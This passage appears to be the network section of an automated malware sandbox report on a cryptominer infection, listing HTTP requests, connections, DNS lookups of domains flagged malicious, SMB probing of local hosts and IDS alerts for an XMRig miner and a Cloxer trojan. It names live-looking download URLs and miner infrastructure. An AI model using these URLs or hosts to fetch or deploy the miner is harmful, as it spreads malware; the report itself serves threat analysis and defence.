2256 | svchost.exe | GET | 200 | 139.162.107.97:80 | http://139.162.107.97/xmrig-32_1.mlz?ID=USER-PC&GUID=D103199D-3C3F-AB45-A928-AB014D429B1F&_T=1549816344 | JP | binary | 399 Kb | suspicious |
2340 | svchost.exe | GET | 200 | 79.98.145.42:80 | http://ip.42.pl/raw | PL | text | 12 b | suspicious |
2340 | svchost.exe | GET | 301 | 45.79.77.20:80 | http://jsonip.com/ | US | html | 194 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2848 | taskmgr.exe | 153.92.4.49:443 | loop.haqo.net | — | US | suspicious |
2256 | svchost.exe | 139.162.107.97:80 | dl.haqo.net | Linode, LLC | JP | suspicious |
2220 | wmiex.exe | 172.104.73.9:80 | ii.haqo.net | Linode, LLC | JP | unknown |
2220 | wmiex.exe | 139.162.107.97:80 | dl.haqo.net | Linode, LLC | JP | suspicious |
2256 | svchost.exe | 68.183.178.71:80 | i.haqo.net | DSL Extreme | US | malicious |
2256 | svchost.exe | 172.104.73.9:80 | ii.haqo.net | Linode, LLC | JP | unknown |
2340 | svchost.exe | 79.98.145.42:80 | ip.42.pl | Nitronet Sp. z o.o. | PL | suspicious |
2340 | svchost.exe | 10.0.0.3:445 | — | — | — | unknown |
2340 | svchost.exe | 10.0.0.2:445 | — | — | — | unknown |
2340 | svchost.exe | 10.0.0.1:445 | — | — | — | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
ii.haqo.net |
| malicious |
pp.abbny.com |
| malicious |
oo.beahh.com |
| malicious |
i.haqo.net |
| malicious |
dl.haqo.net |
| malicious |
p.abbny.com |
| malicious |
loop.haqo.net |
| malicious |
o.beahh.com |
| malicious |
ip.42.pl |
| suspicious |
jsonip.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2256 | svchost.exe | A Network Trojan was detected | MALWARE [PTsecurity] Trojan:Win32/Cloxer.D!cl |
2848 | taskmgr.exe | Potential Corporate Privacy Violation | ET POLICY Cryptocurrency Miner Checkin |
2848 | taskmgr.exe | Misc activity | MINER [PTsecurity] CoinMiner CryptoNight XMRig JSON_RPC Client Login |
2848 | taskmgr.exe | Misc activity | MINER [PTsecurity] Riskware/CoinMiner JSON_RPC Response |
2848 | taskmgr.exe | Misc activity | MINER [PTsecurity] Risktool.W32.coinminer!c |
2848 | taskmgr.exe | Misc activity | MINER [PTsecurity] CoinMiner CryptoNight algo JSON_RPC server Response |
2256 | svchost.exe | A Network Trojan was detected | MALWARE [PTsecurity] Trojan:Win32/Cloxer.D!cl |
2848 | taskmgr.exe | Misc activity | MINER [PTsecurity] Riskware/CoinMiner JSON_RPC Response |
2848 | taskmgr.exe | Misc activity | MINER [PTsecurity] Risktool.W32.coinminer!c |
2848 | taskmgr.exe | Misc activity | MINER [PTsecurity] CoinMiner CryptoNight algo JSON_RPC server Response |
3 ETPRO signatures available at the full report